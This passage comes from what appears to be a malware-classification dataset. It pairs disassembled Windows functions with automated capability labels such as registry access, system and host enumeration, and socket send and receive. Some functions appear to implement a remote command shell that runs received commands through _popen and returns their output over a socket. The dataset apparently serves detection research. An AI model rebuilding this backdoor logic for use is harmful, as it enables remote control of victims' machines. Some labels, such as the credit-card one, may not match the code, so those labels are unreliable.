joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009bc70
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x290
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140132280]
xor rax, rsp
mov qword [rbp + 0x180], rax
or r14d, 0xffffffff
xor r13d, r13d
mov qword [rsp + 0x48], r13
lea rdx, [rcx + 0xb0]
cmp qword [rdx + 0x18], 0x10
jb 0x14009bccd
mov rdx, qword [rdx]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rcx, qword [rcx + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r15, qword [rsp + 0x48]
test eax, eax
je 0x14009bd10
test r15, r15
je 0x14009beb5
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r15, r13
mov qword [rsp + 0x48], r13
test r15, r15
je 0x14009beb5
mov r12d, r13d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x80]
call fcn.140065dd0
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x40], 0x200
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x80]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x14009beac
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], al
cmp byte [rbp - 0x80], al
jne 0x14009bd8b
mov r8, r13
jmp 0x14009bd9d
lea rax, [rbp - 0x80]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14009bd93
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.140003430
nop
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14009be0f
lea rdi, [rsp + 0x58]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
cmp rcx, 0x10
cmovae rdi, rdx
add rdi, r8
lea rbx, [rsp + 0x58]
cmp rcx, 0x10
cmovae rbx, rdx
add rbx, r8
lea rsi, [rsp + 0x58]
cmp rcx, 0x10
cmovae rsi, rdx
cmp rsi, rbx
je 0x14009be06
movsx ecx, byte [rsi]
call fcn.14007e328
test eax, eax
je 0x14009be06
inc rsi
cmp rsi, rbx
jne 0x14009bdf2
cmp rsi, rdi
jne 0x14009be0f
mov bl, 1
jmp 0x14009be11
xor bl, bl
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x14009be51
mov rcx, qword [rsp + 0x58]
inc rax
cmp rax, 0x1000
jb 0x14009be4c
test cl, 0x1f
jne 0x14009bea6
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14009bea0
sub rcx, rax
cmp rcx, 8
jb 0x14009be9a
cmp rcx, 0x27
ja 0x14009be94
mov rcx, rax
call fcn.1400369b0
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], r13
mov byte [rsp + 0x58], 0
test bl, bl
je 0x14009be78
lea rcx, [rbp - 0x80]
call fcn.140072394
cmp eax, r14d
cmovg r14d, eax
inc r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp - 0x80]
call fcn.140065dd0
mov edx, r12d
jmp 0x14009bd2f
call fcn.14006ef04
int3
call fcn.14006ef04
int3
call fcn.14006ef04
int3
call fcn.14006ef04
int3
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, r14d
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140063ed0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14009d560
Capabilities:
Set registry value

Disassembly:
push rbx
push rdi
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x140132280]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rbx, [rcx + 0xb0]
mov r15, r8
cmp qword [rbx + 0x18], 0x10
mov r14, rdx
mov rdi, rcx
jb 0x14009d599
mov rdx, qword [rbx]
jmp 0x14009d59c
mov rdx, rbx
mov rcx, qword [rcx + 0x88]
call fcn.14009d040
test al, al
je 0x14009d73e
mov qword [rsp + 0x70], r12
lea r8, [rsp + 0x30]
mov rdx, r14
mov rcx, rdi
xor r12b, r12b
call fcn.14009bba0
cmp dword [rsp + 0x30], 0
jle 0x14009d735
cmp qword [rbx + 0x18], 0x10
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x38], 0
jb 0x14009d5eb
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x88]
lea rax, [rsp + 0x38]
mov r9d, 0x2001f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rsi, qword [rsp + 0x38]
test eax, eax
je 0x14009d630
test rsi, rsi
je 0x14009d730
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov qword [rsp + 0x38], rsi
test rsi, rsi
je 0x14009d730
or rbx, 0xffffffffffffffff
mov qword [rsp + 0x80], rbp
mov rdi, rbx
nop dword [rax + rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x14009d650
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [r15 + rax], 0
jne 0x14009d660
add rdi, rax
lea rdi, [rdi*2 + 0xe]
mov rcx, rdi
call fcn.140063b18
mov r8, rdi
xor edx, edx
mov rcx, rax
mov rbp, rax
call fcn.140065dd0
mov r9, r15
lea rdx, str._s__s
mov r8, r14
mov rcx, rbp
call fcn.140027490
mov r8d, dword [rsp + 0x30]
lea rdx, [0x1400d33d8]
xor eax, eax
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x41], rax
mov qword [rsp + 0x49], rax
mov qword [rsp + 0x51], rax
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
call fcn.140027490
nop dword [rax + rax]
inc rbx
cmp byte [rbx + rbp], 0
jne 0x14009d6e0
inc ebx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov ebx, 1
mov qword [rsp + 0x20], rbp
mov r9d, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
movzx r12d, r12b
mov rcx, rbp
test eax, eax
cmove r12d, ebx
call fcn.140063b20
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
movzx eax, r12b
mov r12, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140063ed0
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rbx
ret
Function at 0x14009f480
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor al, al
mov rbx, rcx
cmp dword [rcx + 0x7c], 0xffffffff
je 0x14009f6e7
nop dword [rax]
mov ecx, dword [rbx + 0x7c]
cmp ecx, 0x7c
je 0x14009f6e7
cmp ecx, 0x29
jne 0x14009f4cb
cmp dword [rbx + 0x1c], 0
jne 0x14009f6e7
test dword [rbx + 0x80], 0x10000000
je 0x14009f6f2
cmp ecx, 0x2e
jne 0x14009f52c
lea rcx, [rbx + 0x40]
mov edx, 5
call fcn.1400a2c50
mov rcx, qword [rbx]
mov rax, qword [rbx + 0x10]
cmp rcx, rax
je 0x14009f51f
cmp byte [rcx], 0x5c
jne 0x14009f51c
inc rcx
cmp rcx, rax
je 0x14009f51c
mov edx, dword [rbx + 0x80]
test dl, 8
jne 0x14009f50b
movzx eax, byte [rcx]
sub al, 0x28
cmp al, 1
jbe 0x14009f519
test dl, 0x10
jne 0x14009f51c
movzx eax, byte [rcx]
sub al, 0x7b
test al, 0xfd
jne 0x14009f51c
mov qword [rbx], rcx
inc qword [rbx]
mov rcx, rbx
call fcn.1400a3950
jmp 0x14009f6d3
cmp ecx, 0x5c
jne 0x14009f5ea
mov rcx, qword [rbx]
mov rax, qword [rbx + 0x10]
cmp rcx, rax
je 0x14009f576
cmp byte [rcx], 0x5c
jne 0x14009f573
inc rcx
cmp rcx, rax
je 0x14009f573
mov edx, dword [rbx + 0x80]
test dl, 8
jne 0x14009f562
movzx eax, byte [rcx]
sub al, 0x28
cmp al, 1
jbe 0x14009f570
test dl, 0x10
jne 0x14009f573
movzx eax, byte [rcx]
sub al, 0x7b
test al, 0xfd
jne 0x14009f573
mov qword [rbx], rcx
inc qword [rbx]
mov rcx, rbx
call fcn.1400a3950
mov eax, dword [rbx + 0x80]
and eax, 0x80
je 0x14009f5ac
cmp byte [rbx + 0x78], 0x62
jne 0x14009f5ac
lea rcx, [rbx + 0x40]
mov edx, 4
call fcn.1400a2c50
mov rcx, rbx
call fcn.1400a2ce0
jmp 0x14009f6db
test eax, eax
je 0x14009f5dd
cmp byte [rbx + 0x78], 0x42
jne 0x14009f5dd
lea rcx, [rbx + 0x40]
mov edx, 4
call fcn.1400a2c50
mov rax, qword [rbx + 0x48]
mov rcx, rbx
xor dword [rax + 0xc], 1
add rax, 0xc
call fcn.1400a2ce0
jmp 0x14009f6db
mov rcx, rbx
call fcn.14009f720
jmp 0x14009f6d3
cmp ecx, 0x5b
jne 0x14009f615
mov rcx, rbx
call fcn.1400a2ce0
mov rcx, rbx
call fcn.14009fe60
mov edx, 0x5d
mov rcx, rbx
lea r8d, [rdx - 0x59]
call fcn.1400a1ee0
jmp 0x14009f6d3
cmp ecx, 0x28
jne 0x14009f64c
mov rcx, rbx
call fcn.1400a2ce0
mov rcx, rbx
call fcn.1400a3c60
mov edx, 0x29
mov rcx, rbx
movzx edi, al
lea r8d, [rdx - 0x24]
call fcn.1400a1ee0
test dil, dil
je 0x14009f6db
jmp 0x14009f6d3
cmp ecx, 0x5e
jne 0x14009f669
lea rcx, [rbx + 0x40]
mov edx, 2
call fcn.1400a2c50
mov rcx, rbx
call fcn.1400a2ce0
jmp 0x14009f6db
cmp ecx, 0x24
jne 0x14009f686
lea rcx, [rbx + 0x40]
mov edx, 3
call fcn.1400a2c50
mov rcx, rbx
call fcn.1400a2ce0
jmp 0x14009f6db
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x14009f713
cmp ecx, 0x3f
je 0x14009f713
cmp ecx, 0x7b
je 0x14009f713
cmp ecx, 0x7d
jne 0x14009f6ad
test dword [rbx + 0x80], 0x10000000
je 0x14009f6fd
cmp ecx, 0x5d
jne 0x14009f6be
test dword [rbx + 0x80], 0x10000000
je 0x14009f708
movzx edx, byte [rbx + 0x78]
lea rcx, [rbx + 0x40]
call fcn.14009e8f0
mov rcx, rbx
call fcn.1400a2ce0
mov rcx, rbx
call fcn.1400a2dd0
cmp dword [rbx + 0x7c], 0xffffffff
mov al, 1
jne 0x14009f4a0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov ecx, 5
call fcn.14005e630
int3
mov ecx, 6
call fcn.14005e630
int3
mov ecx, 4
call fcn.14005e630
int3
mov ecx, 0xa
call fcn.14005e630
int3
Function at 0x180001000
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov ebx, edx
mov ecx, 0x202
lea rdx, [rsp + 0x30]
xor bpl, bpl
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, 2
lea rcx, str.127.0.0.1
mov word [rsp + 0x20], di
call qword [sym.imp.WS2_32.dll_inet_addr]
mov esi, 1
lea r8d, [rdi + 4]
mov edx, esi
mov dword [rsp + 0x24], eax
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
movzx ecx, bx
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rsi + 0xf]
mov rcx, rdi
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
movzx ebx, bpl
mov rcx, rdi
test eax, eax
cmove ebx, esi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
movzx eax, bl
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.180001420
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140006670]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x140006680]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x140006680]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x140006680]
mov dword [rax], 1
mov rax, qword [0x1400066c0]
mov rdx, rax
mov rax, qword [0x1400066b0]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x14000b024], 1
mov rax, qword [0x140006680]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400066a0]
mov rdx, rax
mov rax, qword [0x140006690]
mov rcx, rax
call sym._initterm
mov rax, qword [0x140006680]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140006670]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400065c0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400065c0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140006660]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x14000b004]
lea rdx, [0x14000b008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x1400065f0]
mov rax, qword [rax]
mov rdx, qword [0x14000b010]
mov qword [rax], rdx
mov rcx, qword [0x14000b010]
mov rdx, qword [0x14000b008]
mov eax, dword [0x14000b004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14000b01c], eax
mov eax, dword [0x14000b020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000b01c]
mov ecx, eax
call sym.exit
mov eax, dword [0x14000b024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14000b01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140006620]
mov dword [rax], 1
mov rax, qword [0x140006630]
mov dword [rax], 1
mov rax, qword [0x140006640]
mov dword [rax], 1
mov rax, qword [0x1400065e0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001c12
Capabilities:
Get memory capacity

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x40]
mov rbx, qword [rbp - 0x38]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rcx, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rbx
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x140001c86
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rax, qword [rbp + 0x20]
add rsp, 0x58
pop rbx
pop rbp
ret

Function at 0x140001ce3
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0x10
call sym.malloc
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0x10
lea rdx, [rbp - 0xc]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
mov rax, qword [rbp - 8]
add rsp, 0x30
pop rbp
ret

Function at 0x140001d1e
Capabilities:
Get disk size

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x20]
lea rcx, [rax + 8]
lea rdx, [rbp - 0x20]
lea rax, [rbp - 8]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rax, [0x140006050]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rbp + 0x10]
add rsp, 0x40
pop rbp
ret

Function at 0x140001f84
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
call sym.strSysrch
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.dcdeStm
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140001fed
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xcb0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xc50], ecx
mov qword [rbp + 0xc58], rdx
mov rax, qword [rbp + 0xc58]
lea rdx, str.exec
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400020e3
mov dword [rbp + 0xa], 0x63657865
mov word [rbp + 0xe], 0x20
lea rdx, [rbp + 0xa]
mov rax, qword [rbp + 0xc58]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0xc28], rax
lea rax, [rbp + 0xa]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0xc28]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp + 0xc20], rax
mov rax, qword [rbp + 0xc20]
lea rbx, [rax + 1]
lea rax, [rbp + 0xa]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0xc28]
add rdx, rax
mov rax, qword [rbp + 0xc58]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0xc58]
lea rdx, [0x140006104]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400020e3
mov rdx, qword [rbp + 0xc58]
mov eax, dword [rbp + 0xc50]
mov ecx, eax
call sym._chdir
mov eax, 0
jmp 0x14000229d
mov qword [rbp + 0xc18], 0
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, qword [rbp + 0xc58]
lea rax, [rbp + 0x10]
mov r9, rdx
lea r8, str._s_2_1
mov edx, 0x800
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x10]
lea rdx, [0x14000610f]
mov rcx, rax
mov rax, qword [sym.imp.ucrtbase.dll__popen]
call rax
mov qword [rbp + 0xc18], rax
cmp qword [rbp + 0xc18], 0
jne 0x14000222d
movabs rax, 0x786520726f727245
movabs rdx, 0x20676e6974756365
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x2e646e616d6d6f63
mov edx, 0x2e2e
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov dword [rbp], 0
mov eax, dword [rbp + 0xc50]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x14000229d
lea rax, [rbp + 0x810]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0xc50]
cdqe
lea rdx, [rbp + 0x810]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0xc18]
lea rax, [rbp + 0x810]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x1400021f8
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0xc50]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0xc18]
mov rcx, rax
mov rax, qword [sym.imp.ucrtbase.dll__pclose]
call rax
mov eax, 0
add rsp, 0xcb0
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400022a8
Capabilities:
Get common file path
Send data
Send data on socket
Set current directory

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
mov ecx, 0x801
call sym.malloc
mov qword [rbp - 8], rax
mov ecx, 0x801
call sym.malloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 8]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x28]
lea rdx, [0x140006104]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000239d
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0x801
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x20]
cdqe
mov rdx, qword [rbp - 8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x20]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x14000249d
mov dword [rbp - 0x24], 0x206463
lea rdx, [rbp - 0x24]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sym.strstr
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x24]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x18]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
lea rbx, [rax + 1]
lea rax, [rbp - 0x24]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x18]
add rdx, rax
mov rax, qword [rbp - 8]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0x801
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x20]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x20]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
nop
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x1400024a4
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0x828
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7c0], ecx
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
lea rdx, [0x140006116]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002526
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400025a9
lea rax, [rbp - 0x60]
movzx eax, byte [rax]
test al, al
je 0x1400025a3
lea rax, [rbp - 0x60]
lea rdx, [0x140006104]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002576
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7c0]
mov ecx, eax
call sym._chdir
